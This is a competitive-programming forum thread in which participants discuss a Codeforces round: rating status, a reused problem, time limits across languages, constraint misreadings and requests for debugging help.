 » 22 months ago, # |   +15 Problem C appeared on round 13 (http://codeforces.com/contest/13/problem/C). The only change is the resulting sequence must be 'strictly' increasing, but the idea is the same.
 » 22 months ago, # |   0 I can't believe this I didn't get a notification that my code on B was hacked I found that out when I was checking my friends standings.:(
 » 22 months ago, # |   +24 Fun fact: An O(n3 + n * q) solution passed all test cases for D div 1. Bet that wasn't intended.http://codeforces.com/contest/713/submission/20595881
•  » » 22 months ago, # ^ |   0 My 10^9 also passed. I think it is almost impossible to distinguish between O(NMlog Nlog M) and such a fast 10^9.
•  » » » 22 months ago, # ^ |   -8 Setting TL to 2s would solve the problem. I can't see any reason for it to be 5s inviting stupid solutions to pass
•  » » » » 22 months ago, # ^ |   +10 Decreasing TL will cause some O(log2) solutions to fail. It isn't true that all O(n3) solutions are faster than O(log2) ones.
 » 22 months ago, # |   +4 I prefer a contest where there is a gradual increase in the difficulty level of the problems....In this way you get a fair judgement. Just my opinion :)
 » 22 months ago, # |   +8 Can we get the editorials ? Also will the contest be unrated ? At least for Div 2, it should be rated I think. My last 4-5 contests on CF have been unrated.
•  » » 22 months ago, # ^ |   0 It will be rated. Don't worry.
 » 22 months ago, # |   0 Hi everyone!I have a concern regarding problems given, so need your advice...In a problem A. Meeting of Old Friends it states: The only line of the input contains integers l1, r1, l2, r2 and k (1 ≤ l1, r1, l2, r2, k ≤ 10^18, l1 ≤ r1, l2 ≤ r2), providing the segments of time for Sonya and Filya and the moment of time when Sonya prinks. Please note on the statement l1 ≤ r1, l2 ≤ r2.However, in the Test #3, in the input given l1 is actually bigger than l2, which should not happen by problem statement.Test #3: 6 6 5 8 9
•  » » 22 months ago, # ^ |   0 It is said that L1<=R1 and L2<=R2 ! In the test case that you gaveL1=6, R1=6, L2=5, R2=8, k=9Answer should be 1
 » 22 months ago, # |   +14 So, is it rated or not ?
•  » » 22 months ago, # ^ |   -11 I hope no.
•  » » » 22 months ago, # ^ | ← Rev. 3 →   0 You didn't even participated!!??UDP.You participated but you're not even showed in my friends standings,is it a bug?
•  » » » » 22 months ago, # ^ |   0 perhaps he(she) was participated with his(her) other account.
•  » » 22 months ago, # ^ |   0 Yes it's rated, blog updated!
 » 22 months ago, # |   0 http://codeforces.com/contest/714/submission/20582567 Submission in python (during contest) http://codeforces.com/contest/714/submission/20597376 Submission in pypy (after contest) Even though both are same codes i got TLE for python and AC for pypy. Can anyone explain why this happens ?? If pypy is very good why is codeforces not removing python ??
•  » » 22 months ago, # ^ |   +3 For some rare cases Python 2 is faster. And Python is more standard. It is good to have a choice.
•  » » 22 months ago, # ^ |   0 http://codeforces.com/contest/714/submission/20597794 -> I used int(i) where i is a digit http://codeforces.com/contest/714/submission/20598043 -> Instead of int i used ord(i)-ord('0') First submission is TLE, but second got accepted both in Pypy. Can anyone explain ?
 » 22 months ago, # |   0 Does anyone understand how I got this compilation error: Can't compile file: C.java:39: error: reference to println is ambiguous out.println(cnt.containsKey(val) ? cnt.get(val) : 0); ^ both method println(double) in PrintWriter and method println(Object) in PrintWriter match 1 error File should contain public class named as the file. For this submission: http://codeforces.com/contest/714/submission/20581077I get that println believes it can't be sure what the ternary operator is returning (either an Object of class Integer or int), but I would have thought the ternary operation would resolve first with the associated type. Is this simply not the case?
 » 22 months ago, # | ← Rev. 3 →   0 For Div2C, time limit was 1 second for my submission in python. Is time limit same for all the languages?? If that is the case, isn't it unfair?!!I thought the time limit given in the problem statement page is for languages like C, C++ etc., and for slower language like Python, Java etc. the time limits are longer. For example, for Python it's around 5x, for Java it's around 2x etc. Could someone please clear my doubt?
•  » » 22 months ago, # ^ |   -6 I have to say, ur knowledge of languages and their TL is very very bad. First of all, before you participate in a contest, u are expected to know the judge environment and the rules. Do you want somebody to come to ur place and explain to you in detail? And secondly, python is much much much slower than Java, if its 2x for Java, its 10x for Python. Did u get it?
•  » » » 22 months ago, # ^ |   0 My bad! I meant other way round for Java and Python. But I seriously had no idea that all languages have same time limit on Codeforces. Sorry and thanks. Edited my comment slightly.
 » 22 months ago, # | ← Rev. 3 →   +3 three 0 rating changes until now... (actually, thanks god I didn't get negative rating change!)
•  » » 22 months ago, # ^ |   0 didn't get *
 » 22 months ago, # |   -8 @arsijo and what about the spoiling of the problem......It's totally unfair to leave it rated.
•  » » 22 months ago, # ^ |   +33 Why was it unfair? Everybody could google the problem.
•  » » » 22 months ago, # ^ |   -22 Errichto this is sarcasm or what :D
•  » » » » 22 months ago, # ^ |   +8 Said someone who thinks that using an already known problem means that "guy just copies an old codeforces problem and include it as a div1C problem". It was hard to say if you are joking or not.
•  » » » » » 22 months ago, # ^ |   0 ok sorryi know you don't mean it ... and i was pissed off there so i wrote "copies" in fact it is not really far from copying
•  » » » 22 months ago, # ^ |   +3 So instead of being concentrated on thinking of problems , we keep searching on google ... I don't think this is the goal of making contests and participating in ....
•  » » » » 22 months ago, # ^ |   +3 Nobody said it's good that such a problem was used today.
•  » » 22 months ago, # ^ |   -13 Actually , It was fair. But it wasn't right and correct. so since it wasn't right, this contest should be unrated
 » 22 months ago, # |   0 Any hints to improve my python code to Div2 C problem: Details here http://codeforces.com/blog/entry/47095
 » 22 months ago, # |   0 Please, does anybody have any idea why this code doesn't work? I spent over an hour trying to debug it and even now when I see the test it fails on, I can't figure out what it is. When I enter the second test locally, it works. I flush the output everytime and the code to simulate queries seems fine as well. I also had an assert to check if it doesn't use too many queries and it does not.
•  » » 22 months ago, # ^ |   +8 On your output line 22: ? 1 2 0 9 -> 0 Notice x2 < x1 but the task says (1 ≤ x1 ≤ x2 ≤ n, 1 ≤ y1 ≤ y2 ≤ n)
•  » » » 22 months ago, # ^ |   0 Thanks a lot, still not sure where it happens, but a simple if fixes it. Didn't even know that you would get WA for that, but I suppose it makes sense.
 » 22 months ago, # |   0 In problem D, you pass first 3 pretests if you swap x and y values in input... I think that might be really misleading during contest especially when the order of x and y are nonstandard. Fortunately I had also another bug in my solution xD
•  » » 22 months ago, # ^ |   +11 I passed the first nine pretests of E reading n and m in the wrong order. I guess pretests were a bit weak this time around.
 » 22 months ago, # |   0 Div.1 Problem C was new for me and I got accepted it in O(N^2 log N).My code : 20594137
 » 22 months ago, # |   0 That was a great round :D Became pupil for the first time. ( another one was decreasing pupil :P ) Thanks round 371 :D
 » 22 months ago, # | ← Rev. 2 →   +12 I mean why can't problem setters just google the question before adding them to problem-sets , because no one runs a script to match keywords with problem , people just google it. Its third time i have encountered a similar situation . 1 ) That pythagorean triplet Question, people pasted it from quora link . 2 ) That trie question, copied code from other sites 3 ) Today's problem C
 » 22 months ago, # |   0 Can someone tell me why does my self made hash function fail in problem c?(AC with SET) http://codeforces.com/contest/714/submission/20599219Cheers
 » 22 months ago, # |   0 Could you please tell me why this http://codeforces.com/contest/714/submission/20590906 solution is wrong? Running it in local outputs the correct answer.
•  » » 22 months ago, # ^ |   0 Try changing the language to GNU G++14 6.2.0
 » 22 months ago, # |   +19 I will deliver one nonpleasant spank for every problemsetter that denotes rows indices as x and columns indices as y :(.
 » 22 months ago, # |   0 I am unable to understand problem B div 2. why is the case that if there are only 2 distinct numbers then answer is always yes? also why the condition as mentioned in the tutorial for the case 3?You can choose a number only once so say for example 1 10000000 so i choose 1 then i can only substract or add to 10000000 ,no way we can make these 2 numbers same by choosing any of the number and add or substract from other number.
•  » » 22 months ago, # ^ |   0 You don't have to always add or subtract numbers. In the case you mentioned, you can add 9999999 to the first number and do nothing to the second. Then, both numbers will be equal to 10000000.
•  » » » 22 months ago, # ^ |   0 is it not necessary to choose from the given array itself?
•  » » » » 22 months ago, # ^ |   0 No, x can be any number.
 » 22 months ago, # |   0 Problem Statement Says that l1 ≤ r1, l2 ≤ r2 But apparently test case 3 is 6 6 5 8 9 Isn't the problem statement wrong. I got 4 WA for this constraint during contest time. :(
•  » » 22 months ago, # ^ |   +3 6 <= 6 and 5 <= 8 so those constraints are valid.
 » 22 months ago, # |   0 Nice and relatively easy problems (DIV2s)... brushing up for icpc-2017
 » 22 months ago, # |   0 Please help me!here is my code for problem C http://codepad.org/zrZTXOBMeverything is ok in my compiler. but CF shows it's giving output '0' at every testcases!